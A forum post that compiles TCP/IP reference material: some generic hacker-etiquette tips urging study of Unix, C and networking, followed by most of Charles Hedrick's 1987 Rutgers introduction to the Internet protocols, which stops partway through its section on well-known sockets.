Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: Tcp/ip

  1. #1
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177

    Tcp/ip

    With all of the posts asking TCP/IP questions recently, I decided it would be a good idea to make this thread. I have uploaded some of these files before, but searching through 20,000 posts is not easy when you need a quick check of something...Actually, this won't be an easy quick check either, as there is going to be a **** load of information here.

    I'm not posting this as a tutorial, because most of the information in this was not written by myself. However, if alot of people reply and enjoy this, or somehow lead me to believe this is a good thread, then maybe I'll write a tutorial about this. I have got a TCP/IP class under my Crimson Ghost shaped belt, so I do have a fairly good understanding of this material.

    Some of this may not seem to fit into TCP/IP, and I did think about that, and also the fact that some of this is old and or just outdated, but I am posting that information anyway so people new to all of this can see how things worked back in the day.

    As for the information that may seem off topic, I just think it's important to add as much here as possible. Some of the information dealing with Hacking and so on may seem out of place, but any hacker that actually knows what they are talking about has a good understanding of how TCP/IP and the protocols it includes all work. So I put it in.

    Some of this deals with security, some of it not. If you find any blatant errors, or mis leading information, please reply and point this out. I'd like people to actually learn things the right way from this, and not read it and be flamed for a misunderstanding or something.

    On with the text:

    I have tried to list who actually wrote these, but some are older than the machine I am typing this all on and I have tried getting the originals for all of these so that you can see who wrote these, and so credit may be given to those who actually deserve it.

    First: Some general tips to keep you from being a lamer/**** head online:

    I put this here because if you plan on learning TCP/IP, you are more than likely going to be online. And hopefully this guide will help you out in not being a dick head.

    Tip #1 - Hacking, hacking is NOT e-mail bombing, being an IRC warrior or
    harassing someone. It is the long honored trade of learning about Operating
    Systems, Unix for expamle as it's the most popular, and getting to know how
    it works inside and out. How to program for it, how to manipulate it and
    control it. If you don't know about an Operating System you want to get
    into, go learn about it. There is no magic command or word or program, that
    I know of, that will let you get and takeover any system with a wave of a
    wand. It just don't happen that way.

    Tip #2 - This goes with Tip #1, go to school, or get some books and learn.
    Read all you can about Unix, C and TCI/IP. I won't lie, it won't happen over
    night, it's taken me 2 years of hard core dedication to get to the state I'm
    at now, and still I can't keep up with it! For the begginner, get a book on
    Unix, learn it, read it over and over until you KNOW it.

    Tip #3 - Recources, and where do you get them? Well the best place to find
    information on the latest security flaws and hole in not CERN. They post
    only after the problem is fixed and every sysadmin and their mother knows
    the fix. Go to News Groups. Not the lame ones like "alt.hackers", the only
    people you find there are little kids on AOL wanting to know those magic
    words. Get on groups like "comp.security.unix", these are where the BIG boys
    hang out. The CEO from Sun Microsystmes posts to it, head honchos from
    Novell and University Professiors all use these. They post questions and
    possable fixes to holes no one has even thought about yet. They are gold
    mines.

    Tip #3 - I know this may sound lame to the more vetren hacker, but get
    invloved in a group. The ones I'm in are always passing new information to
    each other and doing, or working on little projects. I'm always amazed on
    what I learn from other members of my group.

    Tip #4 - Don't e-mail people with kick ass web sites and ask them to help
    you be a hacker. Most of the time they think you are just some lamer and
    trash your e-mail. Like I said, It's taken me two years to get where I am
    now, I'm NOT going to take two years to teach you what I know. Like I said
    above, get a book, go to school. read, read, read....

    Tip #4 - Screw IRC, the people that you may talk to there are either there
    just to chat, or are big head ego inflated dicks. There is NO way anyone
    will learn anything on IRC, save how to be an IRC warrior. So skip it.

    Tip #5 - Before you go around bugging other people asking them tons of
    questions, go look for the answer yourself. Thats a key aspect for a good
    hacker; to be able to track down and find little tid bits of information on
    obscure topics.

    Tip #6 - I think I might of said this before, but get familer with C or a C
    based programming language like PERL, Java, or VC++. 90% of hacking has to
    do with you writing, or using some sort of script written in C or PERL to
    open up an exploit or hole.

    Well thats all I can think of for now......

    Ê

    ----------------------------------------------------------------------------

    bbuster@succeed.net
    ___________________________________________________________________________

    An Introduction to TCP/IP:

    Introduction
    to
    the Internet Protocols





    C R

    C S
    Computer Science Facilities Group
    C I

    L S


    RUTGERS
    The State University of New Jersey




    3 July 1987

    This is an introduction to the Internet networking protocols (TCP/IP).
    It includes a summary of the facilities available and brief
    descriptions of the major protocols in the family.

    Copyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this
    document, in whole or in part, provided that: (1) any copy or
    republication of the entire document must show Rutgers University as
    the source, and must include this notice; and (2) any other use of
    this material must reference this manual and Rutgers University, and
    the fact that the material is copyright by Charles Hedrick and is used
    by permission.



    Unix is a trademark of AT&T Technologies, Inc.



    Table of Contents


    1. What is TCP/IP? 1
    2. General description of the TCP/IP protocols 5
    2.1 The TCP level 7
    2.2 The IP level 10
    2.3 The Ethernet level 11
    3. Well-known sockets and the applications layer 12
    3.1 An example application: SMTP 15
    4. Protocols other than TCP: UDP and ICMP 17
    5. Keeping track of names and information: the domain system 18
    6. Routing 20
    7. Details about Internet addresses: subnets and broadcasting 21
    8. Datagram fragmentation and reassembly 23
    9. Ethernet encapsulation: ARP 24
    10. Getting more information 25






































    i



    This document is a brief introduction to TCP/IP, followed by advice on
    what to read for more information. This is not intended to be a
    complete description. It can give you a reasonable idea of the
    capabilities of the protocols. But if you need to know any details of
    the technology, you will want to read the standards yourself.
    Throughout the text, you will find references to the standards, in the
    form of "RFC" or "IEN" numbers. These are document numbers. The final
    section of this document tells you how to get copies of those
    standards.



    1. What is TCP/IP?


    TCP/IP is a set of protocols developed to allow cooperating computers
    to share resources across a network. It was developed by a community
    of researchers centered around the ARPAnet. Certainly the ARPAnet is
    the best-known TCP/IP network. However as of June, 87, at least 130
    different vendors had products that support TCP/IP, and thousands of
    networks of all kinds use it.

    First some basic definitions. The most accurate name for the set of
    protocols we are describing is the "Internet protocol suite". TCP and
    IP are two of the protocols in this suite. (They will be described
    below.) Because TCP and IP are the best known of the protocols, it
    has become common to use the term TCP/IP or IP/TCP to refer to the
    whole family. It is probably not worth fighting this habit. However
    this can lead to some oddities. For example, I find myself talking
    about NFS as being based on TCP/IP, even though it doesn't use TCP at
    all. (It does use IP. But it uses an alternative protocol, UDP,
    instead of TCP. All of this alphabet soup will be unscrambled in the
    following pages.)

    The Internet is a collection of networks, including the Arpanet,
    NSFnet, regional networks such as NYsernet, local networks at a number
    of University and research institutions, and a number of military
    networks. The term "Internet" applies to this entire set of networks.
    The subset of them that is managed by the Department of Defense is
    referred to as the "DDN" (Defense Data Network). This includes some
    research-oriented networks, such as the Arpanet, as well as more
    strictly military ones. (Because much of the funding for Internet
    protocol developments is done via the DDN organization, the terms
    Internet and DDN can sometimes seem equivalent.) All of these
    networks are connected to each other. Users can send messages from
    any of them to any other, except where there are security or other
    policy restrictions on access. Officially speaking, the Internet
    protocol documents are simply standards adopted by the Internet
    community for its own use. More recently, the Department of Defense
    issued a MILSPEC definition of TCP/IP. This was intended to be a more
    formal definition, appropriate for use in purchasing specifications.
    However most of the TCP/IP community continues to use the Internet
    standards. The MILSPEC version is intended to be consistent with it.

    Whatever it is called, TCP/IP is a family of protocols. A few provide
    1



    "low-level" functions needed for many applications. These include IP,
    TCP, and UDP. (These will be described in a bit more detail later.)
    Others are protocols for doing specific tasks, e.g. transferring files
    between computers, sending mail, or finding out who is logged in on
    another computer. Initially TCP/IP was used mostly between
    minicomputers or mainframes. These machines had their own disks, and
    generally were self-contained. Thus the most important "traditional"
    TCP/IP services are:

    - file transfer. The file transfer protocol (FTP) allows a user on
    any computer to get files from another computer, or to send files
    to another computer. Security is handled by requiring the user
    to specify a user name and password for the other computer.
    Provisions are made for handling file transfer between machines
    with different character set, end of line conventions, etc. This
    is not quite the same thing as more recent "network file system"
    or "netbios" protocols, which will be described below. Rather,
    FTP is a utility that you run any time you want to access a file
    on another system. You use it to copy the file to your own
    system. You then work with the local copy. (See RFC 959 for
    specifications for FTP.)

    - remote login. The network terminal protocol (TELNET) allows a
    user to log in on any other computer on the network. You start a
    remote session by specifying a computer to connect to. From that
    time until you finish the session, anything you type is sent to
    the other computer. Note that you are really still talking to
    your own computer. But the telnet program effectively makes your
    computer invisible while it is running. Every character you type
    is sent directly to the other system. Generally, the connection
    to the remote computer behaves much like a dialup connection.
    That is, the remote system will ask you to log in and give a
    password, in whatever manner it would normally ask a user who had
    just dialed it up. When you log off of the other computer, the
    telnet program exits, and you will find yourself talking to your
    own computer. Microcomputer implementations of telnet generally
    include a terminal emulator for some common type of terminal.
    (See RFC's 854 and 855 for specifications for telnet. By the
    way, the telnet protocol should not be confused with Telenet, a
    vendor of commercial network services.)

    - computer mail. This allows you to send messages to users on
    other computers. Originally, people tended to use only one or
    two specific computers. They would maintain "mail files" on
    those machines. The computer mail system is simply a way for you
    to add a message to another user's mail file. There are some
    problems with this in an environment where microcomputers are
    used. The most serious is that a micro is not well suited to
    receive computer mail. When you send mail, the mail software
    expects to be able to open a connection to the addressee's
    computer, in order to send the mail. If this is a microcomputer,
    it may be turned off, or it may be running an application other
    than the mail system. For this reason, mail is normally handled
    by a larger system, where it is practical to have a mail server
    running all the time. Microcomputer mail software then becomes a
    2



    user interface that retrieves mail from the mail server. (See
    RFC 821 and 822 for specifications for computer mail. See RFC
    937 for a protocol designed for microcomputers to use in reading
    mail from a mail server.)

    These services should be present in any implementation of TCP/IP,
    except that micro-oriented implementations may not support computer
    mail. These traditional applications still play a very important role
    in TCP/IP-based networks. However more recently, the way in which
    networks are used has been changing. The older model of a number of
    large, self-sufficient computers is beginning to change. Now many
    installations have several kinds of computers, including
    microcomputers, workstations, minicomputers, and mainframes. These
    computers are likely to be configured to perform specialized tasks.
    Although people are still likely to work with one specific computer,
    that computer will call on other systems on the net for specialized
    services. This has led to the "server/client" model of network
    services. A server is a system that provides a specific service for
    the rest of the network. A client is another system that uses that
    service. (Note that the server and client need not be on different
    computers. They could be different programs running on the same
    computer.) Here are the kinds of servers typically present in a
    modern computer setup. Note that these computer services can all be
    provided within the framework of TCP/IP.

    - network file systems. This allows a system to access files on
    another computer in a somewhat more closely integrated fashion
    than FTP. A network file system provides the illusion that disks
    or other devices from one system are directly connected to other
    systems. There is no need to use a special network utility to
    access a file on another system. Your computer simply thinks it
    has some extra disk drives. These extra "virtual" drives refer
    to the other system's disks. This capability is useful for
    several different purposes. It lets you put large disks on a few
    computers, but still give others access to the disk space. Aside
    from the obvious economic benefits, this allows people working on
    several computers to share common files. It makes system
    maintenance and backup easier, because you don't have to worry
    about updating and backing up copies on lots of different
    machines. A number of vendors now offer high-performance
    diskless computers. These computers have no disk drives at all.
    They are entirely dependent upon disks attached to common "file
    servers". (See RFC's 1001 and 1002 for a description of
    PC-oriented NetBIOS over TCP. In the workstation and
    minicomputer area, Sun's Network File System is more likely to be
    used. Protocol specifications for it are available from Sun
    Microsystems.)

    - remote printing. This allows you to access printers on other
    computers as if they were directly attached to yours. (The most
    commonly used protocol is the remote lineprinter protocol from
    Berkeley Unix. Unfortunately, there is no protocol document for
    this. However the C code is easily obtained from Berkeley, so
    implementations are common.)

    3



    - remote execution. This allows you to request that a particular
    program be run on a different computer. This is useful when you
    can do most of your work on a small computer, but a few tasks
    require the resources of a larger system. There are a number of
    different kinds of remote execution. Some operate on a command
    by command basis. That is, you request that a specific command
    or set of commands should run on some specific computer. (More
    sophisticated versions will choose a system that happens to be
    free.) However there are also "remote procedure call" systems
    that allow a program to call a subroutine that will run on
    another computer. (There are many protocols of this sort.
    Berkeley Unix contains two servers to execute commands remotely:
    rsh and rexec. The man pages describe the protocols that they
    use. The user-contributed software with Berkeley 4.3 contains a
    "distributed shell" that will distribute tasks among a set of
    systems, depending upon load. Remote procedure call mechanisms
    have been a topic for research for a number of years, so many
    organizations have implementations of such facilities. The most
    widespread commercially-supported remote procedure call protocols
    seem to be Xerox's Courier and Sun's RPC. Protocol documents are
    available from Xerox and Sun. There is a public implementation
    of Courier over TCP as part of the user-contributed software with
    Berkeley 4.3. An implementation of RPC was posted to Usenet by
    Sun, and also appears as part of the user-contributed software
    with Berkeley 4.3.)

    - name servers. In large installations, there are a number of
    different collections of names that have to be managed. This
    includes users and their passwords, names and network addresses
    for computers, and accounts. It becomes very tedious to keep
    this data up to date on all of the computers. Thus the databases
    are kept on a small number of systems. Other systems access the
    data over the network. (RFC 822 and 823 describe the name server
    protocol used to keep track of host names and Internet addresses
    on the Internet. This is now a required part of any TCP/IP
    implementation. IEN 116 describes an older name server protocol
    that is used by a few terminal servers and other products to look
    up host names. Sun's Yellow Pages system is designed as a
    general mechanism to handle user names, file sharing groups, and
    other databases commonly used by Unix systems. It is widely
    available commercially. Its protocol definition is available
    from Sun.)

    - terminal servers. Many installations no longer connect terminals
    directly to computers. Instead they connect them to terminal
    servers. A terminal server is simply a small computer that only
    knows how to run telnet (or some other protocol to do remote
    login). If your terminal is connected to one of these, you
    simply type the name of a computer, and you are connected to it.
    Generally it is possible to have active connections to more than
    one computer at the same time. The terminal server will have
    provisions to switch between connections rapidly, and to notify
    you when output is waiting for another connection. (Terminal
    servers use the telnet protocol, already mentioned. However any
    real terminal server will also have to support name service and a
    4



    number of other protocols.)

    - network-oriented window systems. Until recently, high-
    performance graphics programs had to execute on a computer that
    had a bit-mapped graphics screen directly attached to it.
    Network window systems allow a program to use a display on a
    different computer. Full-scale network window systems provide an
    interface that lets you distribute jobs to the systems that are
    best suited to handle them, but still give you a single
    graphically-based user interface. (The most widely-implemented
    window system is X. A protocol description is available from
    MIT's Project Athena. A reference implementation is publically
    available from MIT. A number of vendors are also supporting
    NeWS, a window system defined by Sun. Both of these systems are
    designed to use TCP/IP.)

    Note that some of the protocols described above were designed by
    Berkeley, Sun, or other organizations. Thus they are not officially
    part of the Internet protocol suite. However they are implemented
    using TCP/IP, just as normal TCP/IP application protocols are. Since
    the protocol definitions are not considered proprietary, and since
    commercially-support implementations are widely available, it is
    reasonable to think of these protocols as being effectively part of
    the Internet suite. Note that the list above is simply a sample of
    the sort of services available through TCP/IP. However it does
    contain the majority of the "major" applications. The other
    commonly-used protocols tend to be specialized facilities for getting
    information of various kinds, such as who is logged in, the time of
    day, etc. However if you need a facility that is not listed here, we
    encourage you to look through the current edition of Internet
    Protocols (currently RFC 1011), which lists all of the available
    protocols, and also to look at some of the major TCP/IP
    implementations to see what various vendors have added.



    2. General description of the TCP/IP protocols


    TCP/IP is a layered set of protocols. In order to understand what
    this means, it is useful to look at an example. A typical situation
    is sending mail. First, there is a protocol for mail. This defines a
    set of commands which one machine sends to another, e.g. commands to
    specify who the sender of the message is, who it is being sent to, and
    then the text of the message. However this protocol assumes that
    there is a way to communicate reliably between the two computers.
    Mail, like other application protocols, simply defines a set of
    commands and messages to be sent. It is designed to be used together
    with TCP and IP. TCP is responsible for making sure that the commands
    get through to the other end. It keeps track of what is sent, and
    retransmitts anything that did not get through. If any message is too
    large for one datagram, e.g. the text of the mail, TCP will split it
    up into several datagrams, and make sure that they all arrive
    correctly. Since these functions are needed for many applications,
    they are put together into a separate protocol, rather than being part
    5



    of the specifications for sending mail. You can think of TCP as
    forming a library of routines that applications can use when they need
    reliable network communications with another computer. Similarly, TCP
    calls on the services of IP. Although the services that TCP supplies
    are needed by many applications, there are still some kinds of
    applications that don't need them. However there are some services
    that every application needs. So these services are put together into
    IP. As with TCP, you can think of IP as a library of routines that
    TCP calls on, but which is also available to applications that don't
    use TCP. This strategy of building several levels of protocol is
    called "layering". We think of the applications programs such as
    mail, TCP, and IP, as being separate "layers", each of which calls on
    the services of the layer below it. Generally, TCP/IP applications
    use 4 layers:

    - an application protocol such as mail

    - a protocol such as TCP that provides services need by many
    applications

    - IP, which provides the basic service of getting datagrams to
    their destination

    - the protocols needed to manage a specific physical medium, such
    as Ethernet or a point to point line.

    TCP/IP is based on the "catenet model". (This is described in more
    detail in IEN 48.) This model assumes that there are a large number
    of independent networks connected together by gateways. The user
    should be able to access computers or other resources on any of these
    networks. Datagrams will often pass through a dozen different
    networks before getting to their final destination. The routing
    needed to accomplish this should be completely invisible to the user.
    As far as the user is concerned, all he needs to know in order to
    access another system is an "Internet address". This is an address
    that looks like 128.6.4.194. It is actually a 32-bit number. However
    it is normally written as 4 decimal numbers, each representing 8 bits
    of the address. (The term "octet" is used by Internet documentation
    for such 8-bit chunks. The term "byte" is not used, because TCP/IP is
    supported by some computers that have byte sizes other than 8 bits.)
    Generally the structure of the address gives you some information
    about how to get to the system. For example, 128.6 is a network
    number assigned by a central authority to Rutgers University. Rutgers
    uses the next octet to indicate which of the campus Ethernets is
    involved. 128.6.4 happens to be an Ethernet used by the Computer
    Science Department. The last octet allows for up to 254 systems on
    each Ethernet. (It is 254 because 0 and 255 are not allowed, for
    reasons that will be discussed later.) Note that 128.6.4.194 and
    128.6.5.194 would be different systems. The structure of an Internet
    address is described in a bit more detail later.

    Of course we normally refer to systems by name, rather than by
    Internet address. When we specify a name, the network software looks
    it up in a database, and comes up with the corresponding Internet
    address. Most of the network software deals strictly in terms of the
    6



    address. (RFC 882 describes the name server technology used to handle
    this lookup.)

    TCP/IP is built on "connectionless" technology. Information is
    transfered as a sequence of "datagrams". A datagram is a collection
    of data that is sent as a single message. Each of these datagrams is
    sent through the network individually. There are provisions to open
    connections (i.e. to start a conversation that will continue for some
    time). However at some level, information from those connections is
    broken up into datagrams, and those datagrams are treated by the
    network as completely separate. For example, suppose you want to
    transfer a 15000 octet file. Most networks can't handle a 15000 octet
    datagram. So the protocols will break this up into something like 30
    500-octet datagrams. Each of these datagrams will be sent to the
    other end. At that point, they will be put back together into the
    15000-octet file. However while those datagrams are in transit, the
    network doesn't know that there is any connection between them. It is
    perfectly possible that datagram 14 will actually arrive before
    datagram 13. It is also possible that somewhere in the network, an
    error will occur, and some datagram won't get through at all. In that
    case, that datagram has to be sent again.

    Note by the way that the terms "datagram" and "packet" often seem to
    be nearly interchangable. Technically, datagram is the right word to
    use when describing TCP/IP. A datagram is a unit of data, which is
    what the protocols deal with. A packet is a physical thing, appearing
    on an Ethernet or some wire. In most cases a packet simply contains a
    datagram, so there is very little difference. However they can
    differ. When TCP/IP is used on top of X.25, the X.25 interface breaks
    the datagrams up into 128-byte packets. This is invisible to IP,
    because the packets are put back together into a single datagram at
    the other end before being processed by TCP/IP. So in this case, one
    IP datagram would be carried by several packets. However with most
    media, there are efficiency advantages to sending one datagram per
    packet, and so the distinction tends to vanish.



    2.1 The TCP level


    Two separate protocols are involved in handling TCP/IP datagrams. TCP
    (the "transmission control protocol") is responsible for breaking up
    the message into datagrams, reassembling them at the other end,
    resending anything that gets lost, and putting things back in the
    right order. IP (the "internet protocol") is responsible for routing
    individual datagrams. It may seem like TCP is doing all the work.
    And in small networks that is true. However in the Internet, simply
    getting a datagram to its destination can be a complex job. A
    connection may require the datagram to go through several networks at
    Rutgers, a serial line to the John von Neuman Supercomputer Center, a
    couple of Ethernets there, a series of 56Kbaud phone lines to another
    NSFnet site, and more Ethernets on another campus. Keeping track of
    the routes to all of the destinations and handling incompatibilities
    among different transport media turns out to be a complex job. Note
    7



    that the interface between TCP and IP is fairly simple. TCP simply
    hands IP a datagram with a destination. IP doesn't know how this
    datagram relates to any datagram before it or after it.

    It may have occurred to you that something is missing here. We have
    talked about Internet addresses, but not about how you keep track of
    multiple connections to a given system. Clearly it isn't enough to
    get a datagram to the right destination. TCP has to know which
    connection this datagram is part of. This task is referred to as
    "demultiplexing." In fact, there are several levels of demultiplexing
    going on in TCP/IP. The information needed to do this demultiplexing
    is contained in a series of "headers". A header is simply a few extra
    octets tacked onto the beginning of a datagram by some protocol in
    order to keep track of it. It's a lot like putting a letter into an
    envelope and putting an address on the outside of the envelope.
    Except with modern networks it happens several times. It's like you
    put the letter into a little envelope, your secretary puts that into a
    somewhat bigger envelope, the campus mail center puts that envelope
    into a still bigger one, etc. Here is an overview of the headers that
    get stuck on a message that passes through a typical TCP/IP network:

    We start with a single data stream, say a file you are trying to send
    to some other computer:

    ......................................................

    TCP breaks it up into manageable chunks. (In order to do this, TCP
    has to know how large a datagram your network can handle. Actually,
    the TCP's at each end say how big a datagram they can handle, and then
    they pick the smallest size.)

    .... .... .... .... .... .... .... ....

    TCP puts a header at the front of each datagram. This header actually
    contains at least 20 octets, but the most important ones are a source
    and destination "port number" and a "sequence number". The port
    numbers are used to keep track of different conversations. Suppose 3
    different people are transferring files. Your TCP might allocate port
    numbers 1000, 1001, and 1002 to these transfers. When you are sending
    a datagram, this becomes the "source" port number, since you are the
    source of the datagram. Of course the TCP at the other end has
    assigned a port number of its own for the conversation. Your TCP has
    to know the port number used by the other end as well. (It finds out
    when the connection starts, as we will explain below.) It puts this
    in the "destination" port field. Of course if the other end sends a
    datagram back to you, the source and destination port numbers will be
    reversed, since then it will be the source and you will be the
    destination. Each datagram has a sequence number. This is used so
    that the other end can make sure that it gets the datagrams in the
    right order, and that it hasn't missed any. (See the TCP
    specification for details.) TCP doesn't number the datagrams, but the
    octets. So if there are 500 octets of data in each datagram, the
    first datagram might be numbered 0, the second 500, the next 1000, the
    next 1500, etc. Finally, I will mention the Checksum. This is a
    number that is computed by adding up all the octets in the datagram
    8



    (more or less - see the TCP spec). The result is put in the header.
    TCP at the other end computes the checksum again. If they disagree,
    then something bad happened to the datagram in transmission, and it is
    thrown away. So here's what the datagram looks like now.

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Source Port | Destination Port |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Sequence Number |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Acknowledgment Number |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Data | |U|A|P|R|S|F| |
    | Offset| Reserved |R|C|S|S|Y|I| Window |
    | | |G|K|H|T|N|N| |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Checksum | Urgent Pointer |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | your data ... next 500 octets |
    | ...... |

    If we abbreviate the TCP header as "T", the whole file now looks like
    this:

    T.... T.... T.... T.... T.... T.... T....

    You will note that there are items in the header that I have not
    described above. They are generally involved with managing the
    connection. In order to make sure the datagram has arrived at its
    destination, the recipient has to send back an "acknowledgement".
    This is a datagram whose "Acknowledgement number" field is filled in.
    For example, sending a packet with an acknowledgement of 1500
    indicates that you have received all the data up to octet number 1500.
    If the sender doesn't get an acknowledgement within a reasonable
    amount of time, it sends the data again. The window is used to
    control how much data can be in transit at any one time. It is not
    practical to wait for each datagram to be acknowledged before sending
    the next one. That would slow things down too much. On the other
    hand, you can't just keep sending, or a fast computer might overrun
    the capacity of a slow one to absorb data. Thus each end indicates
    how much new data it is currently prepared to absorb by putting the
    number of octets in its "Window" field. As the computer receives
    data, the amount of space left in its window decreases. When it goes
    to zero, the sender has to stop. As the receiver processes the data,
    it increases its window, indicating that it is ready to accept more
    data. Often the same datagram can be used to acknowledge receipt of a
    set of data and to give permission for additional new data (by an
    updated window). The "Urgent" field allows one end to tell the other
    to skip ahead in its processing to a particular octet. This is often
    useful for handling asynchronous events, for example when you type a
    control character or other command that interrupts output. The other
    fields are beyond the scope of this document.



    9



    2.2 The IP level


    TCP sends each of these datagrams to IP. Of course it has to tell IP
    the Internet address of the computer at the other end. Note that this
    is all IP is concerned about. It doesn't care about what is in the
    datagram, or even in the TCP header. IP's job is simply to find a
    route for the datagram and get it to the other end. In order to allow
    gateways or other intermediate systems to forward the datagram, it
    adds its own header. The main things in this header are the source
    and destination Internet address (32-bit addresses, like 128.6.4.194),
    the protocol number, and another checksum. The source Internet
    address is simply the address of your machine. (This is necessary so
    the other end knows where the datagram came from.) The destination
    Internet address is the address of the other machine. (This is
    necessary so any gateways in the middle know where you want the
    datagram to go.) The protocol number tells IP at the other end to
    send the datagram to TCP. Although most IP traffic uses TCP, there
    are other protocols that can use IP, so you have to tell IP which
    protocol to send the datagram to. Finally, the checksum allows IP at
    the other end to verify that the header wasn't damaged in transit.
    Note that TCP and IP have separate checksums. IP needs to be able to
    verify that the header didn't get damaged in transit, or it could send
    a message to the wrong place. For reasons not worth discussing here,
    it is both more efficient and safer to have TCP compute a separate
    checksum for the TCP header and data. Once IP has tacked on its
    header, here's what the message looks like:

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Version| IHL |Type of Service| Total Length |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Identification |Flags| Fragment Offset |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Time to Live | Protocol | Header Checksum |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Source Address |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Destination Address |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | TCP header, then your data ...... |
    | |

    If we represent the IP header by an "I", your file now looks like
    this:

    IT.... IT.... IT.... IT.... IT.... IT.... IT....

    Again, the header contains some additional fields that have not been
    discussed. Most of them are beyond the scope of this document. The
    flags and fragment offset are used to keep track of the pieces when a
    datagram has to be split up. This can happen when datagrams are
    forwarded through a network for which they are too big. (This will be
    discussed a bit more below.) The time to live is a number that is
    decremented whenever the datagram passes through a system. When it
    goes to zero, the datagram is discarded. This is done in case a loop
    10



    develops in the system somehow. Of course this should be impossible,
    but well-designed networks are built to cope with "impossible"
    conditions.

    At this point, it's possible that no more headers are needed. If your
    computer happens to have a direct phone line connecting it to the
    destination computer, or to a gateway, it may simply send the
    datagrams out on the line (though likely a synchronous protocol such
    as HDLC would be used, and it would add at least a few octets at the
    beginning and end).



    2.3 The Ethernet level


    However most of our networks these days use Ethernet. So now we have
    to describe Ethernet's headers. Unfortunately, Ethernet has its own
    addresses. The people who designed Ethernet wanted to make sure that
    no two machines would end up with the same Ethernet address.
    Furthermore, they didn't want the user to have to worry about
    assigning addresses. So each Ethernet controller comes with an
    address builtin from the factory. In order to make sure that they
    would never have to reuse addresses, the Ethernet designers allocated
    48 bits for the Ethernet address. People who make Ethernet equipment
    have to register with a central authority, to make sure that the
    numbers they assign don't overlap any other manufacturer. Ethernet is
    a "broadcast medium". That is, it is in effect like an old party line
    telephone. When you send a packet out on the Ethernet, every machine
    on the network sees the packet. So something is needed to make sure
    that the right machine gets it. As you might guess, this involves the
    Ethernet header. Every Ethernet packet has a 14-octet header that
    includes the source and destination Ethernet address, and a type code.
    Each machine is supposed to pay attention only to packets with its own
    Ethernet address in the destination field. (It's perfectly possible
    to cheat, which is one reason that Ethernet communications are not
    terribly secure.) Note that there is no connection between the
    Ethernet address and the Internet address. Each machine has to have a
    table of what Ethernet address corresponds to what Internet address.
    (We will describe how this table is constructed a bit later.) In
    addition to the addresses, the header contains a type code. The type
    code is to allow for several different protocol families to be used on
    the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at
    the same time. Each of them will put a different value in the type
    field. Finally, there is a checksum. The Ethernet controller
    computes a checksum of the entire packet. When the other end receives
    the packet, it recomputes the checksum, and throws the packet away if
    the answer disagrees with the original. The checksum is put on the
    end of the packet, not in the header. The final result is that your
    message looks like this:





    11



    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Ethernet destination address (first 32 bits) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Ethernet source address (last 32 bits) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Type code |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | IP header, then TCP header, then your data |
    | |
    ...
    | |
    | end of your data |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | Ethernet Checksum |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    If we represent the Ethernet header with "E", and the Ethernet
    checksum with "C", your file now looks like this:

    EIT....C EIT....C EIT....C EIT....C EIT....C

    When these packets are received by the other end, of course all the
    headers are removed. The Ethernet interface removes the Ethernet
    header and the checksum. It looks at the type code. Since the type
    code is the one assigned to IP, the Ethernet device driver passes the
    datagram up to IP. IP removes the IP header. It looks at the IP
    protocol field. Since the protocol type is TCP, it passes the
    datagram up to TCP. TCP now looks at the sequence number. It uses
    the sequence numbers and other information to combine all the
    datagrams into the original file.

    The ends our initial summary of TCP/IP. There are still some crucial
    concepts we haven't gotten to, so we'll now go back and add details in
    several areas. (For detailed descriptions of the items discussed here
    see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for
    sending IP over Ethernet.)



    3. Well-known sockets and the applications layer


    So far, we have described how a stream of data is broken up into
    datagrams, sent to another computer, and put back together. However
    something more is needed in order to accomplish anything useful.
    There has to be a way for you to open a connection to a specified
    computer, log into it, tell it what file you want, and control the
    transmission of the file. (If you have a different application in
    mind, e.g. computer mail, some analogous protocol is needed.) This is
